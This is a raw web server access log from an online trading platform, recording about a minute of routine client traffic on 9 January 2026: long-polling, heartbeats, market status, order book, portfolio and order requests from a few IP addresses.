[09/Jan/2026:09:36:30 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:09:36:30 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:36:30 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1217
[09/Jan/2026:09:36:31 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922860047 HTTP/1.1" -
[09/Jan/2026:09:36:31 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:31 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:09:36:31 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922875427 HTTP/1.1" -
[09/Jan/2026:09:36:31 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:09:36:31 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:31 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=50F44095FCEDEA503E47F4724311468E HTTP/1.1" 1017
[09/Jan/2026:09:36:31 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:31 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:09:36:31 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:31 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:31 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:36:31 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:36:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922860930 HTTP/1.1" -
[09/Jan/2026:09:36:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922861305 HTTP/1.1" -
[09/Jan/2026:09:36:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:36:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1180
[09/Jan/2026:09:36:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922865774 HTTP/1.1" -
[09/Jan/2026:09:36:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922880491 HTTP/1.1" -
[09/Jan/2026:09:36:37 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922865946 HTTP/1.1" -
[09/Jan/2026:09:36:37 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922866059 HTTP/1.1" -
[09/Jan/2026:09:36:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922866343 HTTP/1.1" -
[09/Jan/2026:09:36:38 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:36:38 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:38 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1331
[09/Jan/2026:09:36:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922870903 HTTP/1.1" -
[09/Jan/2026:09:36:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:36:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:36:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922885548 HTTP/1.1" -
[09/Jan/2026:09:36:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922870958 HTTP/1.1" -
[09/Jan/2026:09:36:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922871392 HTTP/1.1" -
[09/Jan/2026:09:36:43 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922872060 HTTP/1.1" -
[09/Jan/2026:09:36:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:36:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922876030 HTTP/1.1" -
[09/Jan/2026:09:36:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:36:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:36:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922890571 HTTP/1.1" -
[09/Jan/2026:09:36:47 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922875988 HTTP/1.1" -
[09/Jan/2026:09:36:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922876409 HTTP/1.1" -
[09/Jan/2026:09:36:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922881155 HTTP/1.1" -
[09/Jan/2026:09:36:49 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:49 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:36:49 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922878059 HTTP/1.1" -
[09/Jan/2026:09:36:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:36:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922895642 HTTP/1.1" -
[09/Jan/2026:09:36:52 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922881027 HTTP/1.1" -
[09/Jan/2026:09:36:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922881434 HTTP/1.1" -
[09/Jan/2026:09:36:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922886196 HTTP/1.1" -
[09/Jan/2026:09:36:55 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922884046 HTTP/1.1" -
[09/Jan/2026:09:36:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922900694 HTTP/1.1" -
[09/Jan/2026:09:36:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922886044 HTTP/1.1" -
[09/Jan/2026:09:36:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922886473 HTTP/1.1" -
[09/Jan/2026:09:36:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922891343 HTTP/1.1" -
[09/Jan/2026:09:37:01 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922890045 HTTP/1.1" -
[09/Jan/2026:09:37:01 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:37:01 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:37:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922905755 HTTP/1.1" -
[09/Jan/2026:09:37:02 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922891063 HTTP/1.1" -
[09/Jan/2026:09:37:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922891510 HTTP/1.1" -
[09/Jan/2026:09:37:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922896496 HTTP/1.1" -
[09/Jan/2026:09:37:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922910774 HTTP/1.1" -
[09/Jan/2026:09:37:07 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922896087 HTTP/1.1" -
[09/Jan/2026:09:37:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922896548 HTTP/1.1" -
[09/Jan/2026:09:37:07 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922896061 HTTP/1.1" -
[09/Jan/2026:09:37:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922901605 HTTP/1.1" -
[09/Jan/2026:09:37:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:37:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:37:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:37:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:37:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922915797 HTTP/1.1" -
[09/Jan/2026:09:37:12 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922901103 HTTP/1.1" -
[09/Jan/2026:09:37:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922901562 HTTP/1.1" -
[09/Jan/2026:09:37:13 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922902049 HTTP/1.1" -
[09/Jan/2026:09:37:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:37:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:37:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922906745 HTTP/1.1" -
[09/Jan/2026:09:37:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:37:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:37:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:37:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:37:17 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922906131 HTTP/1.1" -
[09/Jan/2026:09:37:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922920821 HTTP/1.1" -
[09/Jan/2026:09:37:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922906585 HTTP/1.1" -
[09/Jan/2026:09:37:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:37:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:37:19 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922908053 HTTP/1.1" -
[09/Jan/2026:09:37:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922911879 HTTP/1.1" -
[09/Jan/2026:09:37:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:37:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:37:22 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922911167 HTTP/1.1" -
